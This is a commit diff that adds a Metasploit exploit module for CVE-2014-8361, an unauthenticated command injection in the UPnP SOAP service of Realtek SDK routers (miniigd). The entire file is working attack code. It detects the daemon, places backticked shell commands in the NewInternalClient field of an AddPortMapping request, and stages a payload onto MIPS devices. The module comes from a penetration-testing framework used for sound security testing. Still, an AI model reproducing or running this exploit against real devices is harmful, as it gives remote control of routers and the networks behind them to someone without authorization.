Land rapid7#5420, @m-1-k-3's miniigd command injection module (ZDI-15-155)

Author: jvazquez-r7

modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb

@@ -0,0 +1,167 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+  include REXML
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
+      'Description' => %q{
+        Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
+        injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
+        there is no output for the executed command. This module has been tested successfully on a
+        Trendnet TEW-731BR router with emulation.
+      },
+      'Author'      =>
+        [
+          'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery
+          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['CVE', '2014-8361'],
+          ['ZDI', '15-155'],
+          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],
+          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']
+        ],
+      'DisclosureDate' => 'Apr 24 2015',
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets' =>
+        [
+          [ 'MIPS Little Endian',
+            {
+              'Platform' => 'linux',
+              'Arch'     => ARCH_MIPSLE
+            }
+          ],
+          [ 'MIPS Big Endian',
+            {
+              'Platform' => 'linux',
+              'Arch'     => ARCH_MIPSBE
+            }
+          ]
+        ],
+      'DefaultTarget'    => 0
+      ))
+
+      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
+
+    register_options(
+      [
+        Opt::RPORT(52869) # port of UPnP SOAP webinterface
+      ], self.class)
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'uri' => '/picsdesc.xml'
+      })
+      if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
+        return Exploit::CheckCode::Detected
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to access the device ...")
+
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
+    end
+
+    print_status("#{peer} - Exploiting...")
+
+    execute_cmdstager(
+      :flavor  => :echo,
+      :linemax => 50,
+      :nodelete => true
+    )
+  end
+
+  def execute_command(cmd, opts)
+    uri = '/wanipcn.xml'
+    soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
+    data_cmd = '<?xml version="1.0"?>' + build_soap_req
+
+    begin
+      res = send_request_cgi({
+        'uri'    => uri,
+        'vars_get' => {
+          'service' => 'WANIPConn1'
+        },
+        'ctype' => 'text/xml',
+        'method' => 'POST',
+        'headers' => {
+          'SOAPAction' => soap_action
+          },
+        'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+
+  def build_soap_req
+    new_external_port = rand(32767) + 32768
+    new_internal_port = rand(32767) + 32768
+
+    xml = Document.new
+
+    xml.add_element(
+      'SOAP-ENV:Envelope',
+      {
+        'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+        'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
+      })
+
+    xml.root.add_element('SOAP-ENV:Body')
+
+    body = xml.root.elements[1]
+
+    body.add_element(
+      'm:AddPortMapping',
+      {
+        'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
+      })
+
+    port_mapping = body.elements[1]
+    port_mapping.add_element('NewLeaseDuration')
+    port_mapping.add_element('NewInternalClient')
+    port_mapping.add_element('NewEnabled')
+    port_mapping.add_element('NewExternalPort')
+    port_mapping.add_element('NewRemoteHost')
+    port_mapping.add_element('NewProtocol')
+    port_mapping.add_element('NewInternalPort')
+
+    port_mapping.elements['NewLeaseDuration'].text  = ''
+    port_mapping.elements['NewInternalClient'].text = 'CMD_HERE'
+    port_mapping.elements['NewEnabled'].text        = '1'
+    port_mapping.elements['NewExternalPort'].text   = "#{new_external_port}"
+    port_mapping.elements['NewRemoteHost'].text     = ''
+    port_mapping.elements['NewProtocol'].text       = 'TCP'
+    port_mapping.elements['NewInternalPort'].text   = "#{new_internal_port}"
+
+    xml.to_s
+  end
+
+end